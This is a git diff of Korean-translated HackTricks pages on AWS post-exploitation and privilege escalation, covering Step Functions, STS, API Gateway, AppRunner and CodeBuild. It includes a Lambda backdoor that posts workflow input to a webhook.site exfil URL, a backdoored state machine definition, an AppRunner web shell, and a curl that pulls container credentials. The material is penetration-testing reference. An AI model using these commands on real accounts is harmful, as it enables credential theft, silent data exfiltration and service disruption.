데이터 손상. - -### `states:TagResource`, `states:UntagResource` - -공격자는 Step Functions 리소스에서 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다. -```bash -aws stepfunctions tag-resource --resource-arn --tags Key=,Value= -aws stepfunctions untag-resource --resource-arn --tag-keys -``` -**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. - ---- - -### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` - -다음 권한을 가진 사용자 또는 역할을 손상시키는 공격자: -```json -{ -"Version": "2012-10-17", -"Statement": [ -{ -"Sid": "AllowUpdateStateMachine", -"Effect": "Allow", -"Action": "states:UpdateStateMachine", -"Resource": "*" -}, -{ -"Sid": "AllowUpdateFunctionCode", -"Effect": "Allow", -"Action": "lambda:UpdateFunctionCode", -"Resource": "*" -} -] -} -``` -...**고강도 및 은밀한 포스트 익스플로이테이션 공격**을 Lambda 백도어와 Step Function 로직 조작을 결합하여 수행할 수 있습니다. - -이 시나리오는 피해자가 **AWS Step Functions를 사용하여 자격 증명, 토큰 또는 PII와 같은 민감한 입력을 처리하는 워크플로를 조정**한다고 가정합니다. - -예시 피해자 호출: -```bash -aws stepfunctions start-execution \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim -``` -Step Function이 `LegitBusinessLogic`과 같은 Lambda를 호출하도록 구성된 경우, 공격자는 **두 가지 은밀한 공격 변형**을 진행할 수 있습니다: - ---- - -#### Lambda 함수 업데이트 - -공격자는 Step Function에 의해 이미 사용된 Lambda 함수(`LegitBusinessLogic`)의 코드를 수정하여 입력 데이터를 조용히 유출합니다. -```python -# send_to_attacker.py -import requests - -def lambda_handler(event, context): -requests.post("https://webhook.site//exfil", json=event) -return {"status": "exfiltrated"} -``` - -```bash -zip function.zip send_to_attacker.py - -aws lambda update-function-code \ ---function-name LegitBusinessLogic \ ---zip-file fileb://function.zip -profile attacker -``` ---- - -#### Step Function에 악성 상태 추가하기 - -대안으로, 공격자는 Step Function 정의를 업데이트하여 워크플로의 시작 부분에 **exfiltration state**를 주입할 수 있습니다. -```malicious_state_definition.json -{ -"Comment": "Backdoored for Exfiltration", -"StartAt": "OriginalState", -"States": { -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", -"End": true -} -} -} - -``` - -```bash -aws stepfunctions update-state-machine \ ---state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ ---definition file://malicious_state_definition.json --profile attacker -``` -공격자는 상태 정의를 다음과 같이 업데이트하여 더욱 은밀하게 행동할 수 있습니다. -{ -"Comment": "Exfiltration을 위한 백도어", -"StartAt": "ExfiltrateSecrets", -"States": { -"ExfiltrateSecrets": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", -"InputPath": "$", -"ResultPath": "$.exfil", -"Next": "OriginalState" -}, -"OriginalState": { -"Type": "Task", -"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", -"End": true -} -} -} -피해자는 차이를 인식하지 못할 것입니다. - ---- - -### 피해자 설정 (익스플로잇을 위한 맥락) - -- Step Function (`LegitStateMachine`)은 민감한 사용자 입력을 처리하는 데 사용됩니다. -- 하나 이상의 Lambda 함수(예: `LegitBusinessLogic`)를 호출합니다. - ---- - -**잠재적 영향**: -- 비밀, 자격 증명, API 키 및 PII를 포함한 민감한 데이터의 조용한 유출. -- 워크플로 실행에서 눈에 띄는 오류나 실패 없음. -- Lambda 코드나 실행 추적을 감사하지 않으면 감지하기 어려움. -- 백도어가 코드나 ASL 논리에 남아 있으면 장기적인 지속성을 가능하게 함. - - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md new file mode 100644 index 000000000..8cbc0e64c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation/README.md @@ -0,0 +1,185 @@ +# AWS - Step Functions Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +For more information about this AWS service, check: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### `states:RevealSecrets` + +이 권한은 실행 내의 비밀 데이터를 **노출**할 수 있게 합니다. 이를 위해 Inspection level을 TRACE로 설정하고 revealSecrets 파라미터를 true로 설정해야 합니다. + +
+ +### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` + +이 권한을 가진 공격자는 state machine과 그 버전들 및 alias들을 영구적으로 삭제할 수 있습니다. 이는 중요한 워크플로를 중단시키고 데이터 손실을 초래하며, 영향을 받은 state machine을 복구하고 복원하는 데 상당한 시간이 필요하게 만들 수 있습니다. 또한 공격자는 사용된 흔적을 은닉하고 포렌식 조사를 방해하며, 필수 자동화 프로세스와 상태 구성을 제거하여 운영을 마비시킬 수 있습니다. + +> [!NOTE] +> +> - state machine을 삭제하면 해당 state machine에 연결된 모든 버전과 alias도 함께 삭제됩니다. +> - state machine alias를 삭제해도 이 alias를 참조하는 state machine 버전은 삭제되지 않습니다. +> - 하나 이상의 alias가 현재 참조하고 있는 state machine 버전은 삭제할 수 없습니다. +```bash +# Delete state machine +aws stepfunctions delete-state-machine --state-machine-arn +# Delete state machine version +aws stepfunctions delete-state-machine-version --state-machine-version-arn +# Delete state machine alias +aws stepfunctions delete-state-machine-alias --state-machine-alias-arn +``` +- **잠재적 영향**: 중요한 워크플로 중단, 데이터 손실 및 운영 중단. + +### `states:UpdateMapRun` + +이 권한을 가진 공격자는 Map Run의 failure configuration 및 parallel setting을 조작할 수 있어 허용되는 maximum number of child workflow executions를 증가시키거나 감소시켜 서비스의 동작과 성능에 직접적인 영향을 미칠 수 있습니다. 또한 공격자는 tolerated failure percentage and count를 변조하여 이 값을 0으로 낮출 수 있는데, 이럴 경우 항목이 하나라도 실패하면 전체 map run이 실패하여 state machine execution에 직접적인 영향을 주고 중요한 워크플로를 방해할 수 있습니다. +```bash +aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] +``` +- **잠재적 영향**: 성능 저하 및 중요한 워크플로우의 중단. + +### `states:StopExecution` + +이 권한을 가진 공격자는 모든 상태 머신의 실행을 중지하여 진행 중인 워크플로우와 프로세스를 방해할 수 있습니다. 이는 트랜잭션 미완료, 업무 운영의 중단, 잠재적인 데이터 손상으로 이어질 수 있습니다. + +> [!WARNING] +> 이 동작은 **express state machines**에서 지원되지 않습니다. +```bash +aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] +``` +- **잠재적 영향**: 진행 중인 워크플로의 중단, 운영 중단 및 잠재적 데이터 손상. + +### `states:TagResource`, `states:UntagResource` + +공격자는 Step Functions 리소스에 태그를 추가, 수정 또는 제거하여 조직의 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책을 방해할 수 있습니다. +```bash +aws stepfunctions tag-resource --resource-arn --tags Key=,Value= +aws stepfunctions untag-resource --resource-arn --tag-keys +``` +**Potential Impact**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단. + +--- + +### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode` + +다음 권한을 가진 사용자 또는 역할을 탈취한 공격자는: +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "AllowUpdateStateMachine", +"Effect": "Allow", +"Action": "states:UpdateStateMachine", +"Resource": "*" +}, +{ +"Sid": "AllowUpdateFunctionCode", +"Effect": "Allow", +"Action": "lambda:UpdateFunctionCode", +"Resource": "*" +} +] +} +``` +...는 Lambda backdooring과 Step Function logic manipulation을 결합하여 **high-impact and stealthy post-exploitation attack**을 수행할 수 있습니다. + +이 시나리오는 피해자가 **AWS Step Functions를 사용하여 민감한 입력을 처리하는 워크플로우를 오케스트레이션**한다고 가정합니다(예: credentials, tokens, 또는 PII). + +예시 피해자 호출: +```bash +aws stepfunctions start-execution \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim +``` +If the Step Function is configured to invoke a Lambda like `LegitBusinessLogic`, the attacker can proceed with **two stealthy attack variants**: + +--- + +#### Lambda 함수 업데이트 + +attacker는 Step Function (`LegitBusinessLogic`)에서 이미 사용 중인 Lambda 함수의 코드를 수정하여 입력 데이터를 은밀하게 exfiltrate합니다. +```python +# send_to_attacker.py +import requests + +def lambda_handler(event, context): +requests.post("https://webhook.site//exfil", json=event) +return {"status": "exfiltrated"} +``` + +```bash +zip function.zip send_to_attacker.py + +aws lambda update-function-code \ +--function-name LegitBusinessLogic \ +--zip-file fileb://function.zip -profile attacker +``` +--- + +#### Step Function에 악성 상태 추가 + +또는 공격자는 Step Function 정의를 업데이트하여 워크플로우 시작 부분에 **exfiltration state**를 삽입할 수 있다. +```malicious_state_definition.json +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "OriginalState", +"States": { +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1::function:LegitBusinessLogic", +"End": true +} +} +} + +``` + +```bash +aws stepfunctions update-state-machine \ +--state-machine-arn arn:aws:states:us-east-1::stateMachine:LegitStateMachine \ +--definition file://malicious_state_definition.json --profile attacker +``` +공격자는 상태 정의를 다음과 같이 더 은밀하게 업데이트할 수 있습니다 +{ +"Comment": "Backdoored for Exfiltration", +"StartAt": "ExfiltrateSecrets", +"States": { +"ExfiltrateSecrets": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", +"InputPath": "$", +"ResultPath": "$.exfil", +"Next": "OriginalState" +}, +"OriginalState": { +"Type": "Task", +"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", +"End": true +} +} +} +이렇게 하면 피해자는 차이점을 알아차리지 못할 것입니다. + +--- + +### 피해자 설정 (공격 맥락) + +- A Step Function (`LegitStateMachine`)는 민감한 사용자 입력을 처리하는 데 사용됩니다. +- `LegitBusinessLogic`와 같은 하나 이상의 Lambda 함수를 호출합니다. + +--- + +**Potential Impact**: +- 민감한 데이터(예: secrets, credentials, API keys, PII)의 은밀한 유출. +- 워크플로우 실행에서 눈에 띄는 오류나 실패가 없음. +- Lambda 코드나 실행 트레이스를 감사하지 않으면 탐지하기 어려움. +- 백도어가 코드나 ASL 로직에 남아 있으면 장기적인 지속성을 허용함. + + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md index cf4452b49..17aaf1bbe 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation/README.md @@ -1,23 +1,23 @@ # AWS - STS Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS 자세한 정보: {{#ref}} -../aws-services/aws-iam-enum.md +../../aws-services/aws-iam-enum.md {{#endref}} -### IAM Creds에서 Console로 +### From IAM Creds to Console -IAM credentials를 획득했다면, 다음 도구들을 사용해 **web console에 접근**하는 데 관심이 있을 수 있습니다.\ -해당 사용자/역할에는 **`sts:GetFederationToken`** 권한이 있어야 합니다. +만약 IAM credentials를 획득했다면, 다음 도구들을 사용하여 **웹 콘솔에 액세스**하는 데 관심이 있을 수 있습니다.\ +참고로 사용자/역할은 **`sts:GetFederationToken`** 권한을 가지고 있어야 합니다. -#### Custom script +#### 커스텀 스크립트 -다음 스크립트는 default profile과 기본 AWS 리전을 사용(정부 리전(gov) 및 중국 리전(cn) 제외)하여 web console에 로그인할 때 사용할 수 있는 signed URL을 생성합니다: +다음 스크립트는 기본 프로파일과 기본 AWS 리전(gov 및 cn 제외)을 사용하여 웹 콘솔에 로그인하는 데 사용할 수 있는 서명된 URL을 제공합니다: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -55,7 +55,7 @@ echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.co ``` #### aws_consoler -[https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler)를 사용하여 **웹 콘솔 링크를 생성할 수 있습니다**. +다음 도구로 **웹 콘솔 링크를 생성**할 수 있습니다: [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -68,18 +68,18 @@ aws_consoler [params...] #This will generate a link to login into the console #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault)은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하기 위한 도구입니다. +[**aws-vault**](https://github.com/99designs/aws-vault) 은 개발 환경에서 AWS 자격 증명을 안전하게 저장하고 액세스하기 위한 도구입니다. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` > [!NOTE] -> **aws-vault**를 사용해 **브라우저 콘솔 세션**을 얻을 수도 있습니다 +> 또한 **aws-vault**를 사용하여 **브라우저 콘솔 세션**을 얻을 수 있습니다 ### **Python에서 User-Agent 제한 우회** -사용되는 **user agent**에 따라 특정 작업을 수행하는 데 **제한이 있는 경우**(예: user agent를 기준으로 python boto3 라이브러리 사용을 제한하는 경우), 이전 기법을 사용해 **브라우저를 통해 웹 콘솔에 연결**하거나, 직접 **boto3의 user-agent를 수정**하여 다음과 같이 할 수 있습니다: +사용된 **user agent에 따라 특정 작업 수행이 제한되는 경우**(예: user agent에 따라 python boto3 라이브러리 사용을 제한하는 경우) 이전 기술을 사용해 **브라우저를 통해 웹 콘솔에 연결**하거나, 또는 다음과 같이 직접 **boto3 user-agent를 수정**할 수 있습니다: ```bash # Shared by ex16x41 # Create a client @@ -94,12 +94,12 @@ response = client.get_secret_value(SecretId="flag_secret") print(response['Secre ``` ### **`sts:GetFederationToken`** -이 권한을 사용하면 이를 실행한 사용자에 대해 그 사용자가 가진 권한으로 제한된 연합 신원(federated identity)을 생성할 수 있습니다. +이 권한을 사용하면 실행하는 사용자에게 부여된 권한으로만 제한된 연합 ID(federated identity)를 생성할 수 있습니다. ```bash aws sts get-federation-token --name ``` -sts:GetFederationToken이 반환하는 토큰은 호출한 사용자의 federated identity에 속하지만 권한이 제한됩니다. 사용자가 관리자 권한을 가지고 있더라도 IAM 사용자 목록 조회나 정책 연결(attaching policies)과 같은 일부 작업은 federated token으로 수행할 수 없습니다. +sts:GetFederationToken이 반환하는 토큰은 호출 사용자의 federated identity에 속하지만 권한이 제한됩니다. 사용자가 관리자 권한을 가지고 있더라도, IAM users 목록 조회나 policies 첨부와 같은 특정 작업은 federated token으로는 수행할 수 없습니다. -또한 이 방법은 다소 은밀합니다. federated user가 AWS Portal에 표시되지 않으므로 CloudTrail logs나 모니터링 도구를 통해서만 관찰할 수 있습니다. +또한 이 방법은 다소 은밀합니다. federated user가 AWS Portal에 표시되지 않기 때문에 CloudTrail 로그나 모니터링 도구를 통해서만 관찰할 수 있습니다. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index 80584b24d..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN 포스트 익스플로이테이션 - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -자세한 정보: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..1174f5b85 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +자세한 정보: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md similarity index 51% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md index d1678c0ca..fcd0bc5d3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -1,48 +1,48 @@ # AWS - Apigateway Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Apigateway 자세한 정보는 다음을 확인하세요: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} ### `apigateway:POST` -이 권한을 사용하면 구성된 API의 API 키를 생성할 수 있습니다(지역별). +이 권한이 있으면 구성된 APIs에 대한 API keys를 생성할 수 있습니다(리전별). ```bash aws --region apigateway create-api-key ``` -**잠재적 영향:** 이 기술로는 권한 상승을 할 수 없지만, 민감한 정보에 접근할 수 있습니다. +**Potential Impact:** 이 기술로는 privesc를 할 수 없지만 민감한 정보에 접근할 수 있습니다. ### `apigateway:GET` -이 권한을 사용하면 구성된 API의 생성된 API 키를 가져올 수 있습니다(지역별). +이 권한이 있으면 구성된 API(리전별)의 생성된 API keys를 얻을 수 있습니다. ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**잠재적 영향:** 이 기술로는 권한 상승이 불가능하지만 민감한 정보에 접근할 수 있습니다. +**Potential Impact:** 이 기법으로는 privesc를 할 수 없지만 민감한 정보에 접근할 수 있습니다. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -이 권한을 사용하면 API의 리소스 정책을 수정하여 자신에게 호출할 수 있는 권한을 부여하고 API 게이트웨이가 가질 수 있는 잠재적 접근을 악용할 수 있습니다(예: 취약한 람다 호출). +이 권한들로 API의 리소스 정책을 수정해 자신이 해당 API를 호출할 수 있도록 권한을 부여할 수 있으며, API gateway가 가진 잠재적 권한을 악용할 수 있습니다(예: 취약한 lambda를 호출하는 경우). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**잠재적 영향:** 일반적으로 이 기술로 직접적으로 권한 상승을 할 수는 없지만, 민감한 정보에 접근할 수 있을지도 모릅니다. +**Potential Impact:** 일반적으로 이 기법으로 직접 privesc를 달성할 수는 없지만 민감한 정보에 접근할 수 있습니다. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> 테스트가 필요합니다. +> 테스트 필요 -`apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole` 권한을 가진 공격자는 **IAM 역할이 연결된 Lambda 함수로 기존 API Gateway REST API에 새로운 통합을 추가할 수 있습니다**. 그런 다음 공격자는 **Lambda 함수를 트리거하여 임의의 코드를 실행하고 IAM 역할과 관련된 리소스에 접근할 수 있습니다**. +해당 권한 `apigateway:PutIntegration`, `apigateway:CreateDeployment`, 및 `iam:PassRole`을(를) 가진 공격자는 **IAM role이 연결된 Lambda 함수를 대상으로 기존 API Gateway REST API에 새로운 integration을 추가할 수 있습니다**. 그런 다음 공격자는 **해당 Lambda 함수를 트리거하여 임의의 코드를 실행시키고 IAM role에 연관된 리소스에 접근할 수 있습니다**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: Lambda 함수의 IAM 역할과 관련된 리소스에 대한 접근. +**잠재적 영향**: Lambda function의 IAM role과 연관된 리소스에 대한 액세스. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` > [!NOTE] > 테스트 필요 -`apigateway:UpdateAuthorizer` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway 인증자를 수정**하여 보안 검사를 우회하거나 API 요청이 이루어질 때 임의의 코드를 실행할 수 있습니다. +`apigateway:UpdateAuthorizer` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway authorizer를 수정**하여 보안 검사를 우회하거나 API 요청이 이루어질 때 임의의 코드를 실행할 수 있습니다. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**잠재적 영향**: 보안 검사를 우회하고, API 리소스에 대한 무단 접근. +**Potential Impact**: 보안 검사 우회, API 리소스에 대한 무단 액세스. ### `apigateway:UpdateVpcLink` > [!NOTE] > 테스트 필요 -`apigateway:UpdateVpcLink` 권한을 가진 공격자는 **기존 VPC 링크를 수정하여 다른 네트워크 로드 밸런서를 가리키게 할 수 있으며, 이는 개인 API 트래픽을 무단 또는 악의적인 리소스로 리디렉션할 수 있습니다**. +권한 `apigateway:UpdateVpcLink`를 가진 공격자는 **기존 VPC Link를 다른 Network Load Balancer로 가리키도록 수정하여, private API 트래픽을 무단 또는 악의적인 리소스로 리디렉션할 수 있습니다**. ```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" +VPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**잠재적 영향**: 비공식 API 리소스에 대한 무단 접근, API 트래픽의 가로채기 또는 중단. +**잠재적 영향**: 비인가된 비공개 API 리소스 접근, API 트래픽의 가로채기 또는 중단. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md similarity index 59% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md index cf680b9e7..5e0faccaa 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -1,14 +1,14 @@ # AWS - AppRunner Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AppRunner ### `iam:PassRole`, `apprunner:CreateService` -이 권한을 가진 공격자는 IAM 역할이 연결된 AppRunner 서비스를 생성할 수 있으며, 역할의 자격 증명에 접근하여 권한을 상승시킬 수 있습니다. +이 권한을 가진 공격자는 연결된 IAM 역할이 있는 AppRunner 서비스를 생성할 수 있으며, 역할의 자격 증명에 접근하여 권한을 상승시킬 수 있습니다. -공격자는 먼저 AppRunner 컨테이너에서 임의의 명령을 실행하기 위한 웹 셸 역할을 하는 Dockerfile을 생성합니다. +공격자는 먼저 AppRunner 컨테이너에서 임의의 명령을 실행할 수 있는 web shell 역할을 하는 Dockerfile을 생성합니다. ```Dockerfile FROM golang:1.24-bookworm WORKDIR /app @@ -40,8 +40,8 @@ RUN go mod init test && go build -o main . EXPOSE 3000 CMD ["./main"] ``` -그런 다음 이 이미지를 ECR 리포지토리에 푸시합니다. -공격자가 제어하는 AWS 계정의 공개 리포지토리에 이미지를 푸시함으로써, 피해자의 계정이 ECR을 조작할 권한이 없더라도 권한 상승이 가능합니다. +그런 다음, 이 이미지를 ECR repository에 push하세요. +attacker가 제어하는 AWS account의 public repository에 이미지를 push하면, victim의 account가 ECR을 조작할 권한이 없더라도 privilege escalation이 가능합니다. ```sh IMAGE_NAME=public.ecr.aws///:latest docker buildx build --platform linux/amd64 -t $IMAGE_NAME . @@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin docker push $IMAGE_NAME docker logout public.ecr.aws ``` -다음으로, 공격자는 이 웹 셸 이미지를 사용하고자 하는 IAM 역할로 구성된 AppRunner 서비스를 생성합니다. +다음으로, 공격자는 이 web shell 이미지와 자신이 악용하려는 IAM Role로 구성된 AppRunner 서비스를 생성합니다. ```bash aws apprunner create-service \ --service-name malicious-service \ @@ -63,10 +63,10 @@ aws apprunner create-service \ --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ --query Service.ServiceUrl ``` -서비스 생성이 완료될 때까지 기다린 후, 웹 셸을 사용하여 컨테이너 자격 증명을 검색하고 AppRunner에 연결된 IAM 역할의 권한을 얻습니다. +서비스 생성이 완료될 때까지 기다린 후, web shell을 사용해 container credentials를 가져오고 AppRunner에 연결된 IAM Role의 권한을 획득합니다. ```sh curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' ``` -**Potential Impact:** AppRunner 서비스에 연결할 수 있는 모든 IAM 역할로의 직접적인 권한 상승. +**잠재적 영향:** AppRunner services에 연결할 수 있는 모든 IAM role로의 직접적인 권한 상승. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..f947c6eab --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +작성 필요 + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 72% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index 1646d5a3f..dcad374f5 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild -자세한 정보는 다음을 참조하세요: +자세한 정보는 다음을 참고하세요: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -이 권한 중 하나만 있으면 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam 역할의 토큰을 훔칠 수 있습니다: +이 권한들 중 하나만으로도 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam role의 token을 탈취할 수 있습니다: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,16 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**참고**: 이 두 명령어의 차이는 다음과 같습니다: +**참고**: 이 두 명령의 차이점은 다음과 같습니다: -- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 빌드 작업을 트리거합니다. -- `StartBuildBatch`는 더 복잡한 구성으로 빌드 배치를 시작할 수 있게 해줍니다 (예: 여러 빌드를 병렬로 실행). +- `StartBuild`는 특정 `buildspec.yml`을 사용하여 단일 build 작업을 트리거합니다. +- `StartBuildBatch`는 더 복잡한 구성(예: 여러 빌드를 병렬로 실행)을 포함한 빌드 배치를 시작할 수 있게 합니다. 